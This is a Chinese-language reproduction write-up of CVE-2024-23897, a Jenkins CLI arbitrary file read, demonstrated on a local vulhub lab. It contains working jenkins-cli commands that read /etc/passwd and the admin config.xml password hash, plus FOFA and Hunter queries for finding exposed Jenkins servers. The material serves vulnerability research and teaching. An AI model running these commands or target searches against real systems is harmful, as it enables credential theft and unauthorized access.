【漏洞复现】CVE-2024-23897 Jenkins 任意文件读取漏洞

免责声明

文章所涉及内容，仅供安全研究与教学之用，由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。

产品简介

Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件项目可以进行持续集成。

漏洞描述

Jenkins 有一个内置的命令行界面CLI，在处理 CLI 命令时Jenkins 使用args4j 库解析 Jenkins 控制器上的命令参数和选项。此命令解析器具有一个功能，可以将@参数中后跟文件路径的字符替换为文件内容 ( expandAtFiles)。

影响版本

Jenkins <= 2.441
Jenkins LTS <= 2.426.2

网络测绘

favicon图标特征

FOFA网络测绘搜索

app="Jenkins"

鹰图网络测绘搜索

app.name="Jenkins"

漏洞复现

用vulhub搭建一个老版本的Jenkins环境

/vulhub/jenkins/CVE-2018-1000861
docker compose up -d

环境启动成功会如下图所示

http://192.168.13.133:8080/

根据官方文档，从 Jenkins 控制器的 URL 下载 CLI 客户端 JENKINS_URL/jnlpJars/jenkins-cli.jar

那么我们这里就是http://192.168.13.133:8080/jnlpJars/jenkins-cli.jar

尝试读取/etc/passwd文件

java8 -jar jenkins-cli.jar -s http://192.168.13.133:8080 connect-node "@/etc/passwd"

尝试在漏洞环境写入字符串到一个文件中测试读取

docker ps
docker exec -it 容器ID bash
echo "huashui2333" > /tmp/hs.txt

java8 -jar jenkins-cli.jar -s http://192.168.13.133:8080 connect-node "@/tmp/hs.txt"

读取管理员密码Hash解密

java8 -jar jenkins-cli.jar -s http://192.168.13.133:8080 connect-node "@/var/jenkins_home/users/admin/config.xml"

思路拓展

jenkins后渗透 - zpchcbd - 博客园(https://www.cnblogs.com/zpchcbd/p/17573272.html)

修复方案

升级至新版本

https://www.jenkins.io/